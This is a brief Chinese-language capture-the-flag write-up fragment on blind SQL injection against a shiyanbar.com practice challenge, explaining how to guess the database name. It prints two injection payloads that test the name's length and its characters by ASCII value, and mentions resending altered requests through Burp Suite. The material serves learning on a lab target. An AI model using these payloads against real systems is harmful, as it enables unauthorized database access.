簡單的sql注入之3-盲注

http://ctf5.shiyanbar.com/web/index_3.phpphp 盲注web 猜數據庫名         方法一:(能夠經過burpsuite攔截數據包,更改ascii值重發獲取)         1' and length(database())=4 #數據庫名長度是4         1' and ascii(substr(database(),1,1))=119#  
相關文章
相關標籤/搜索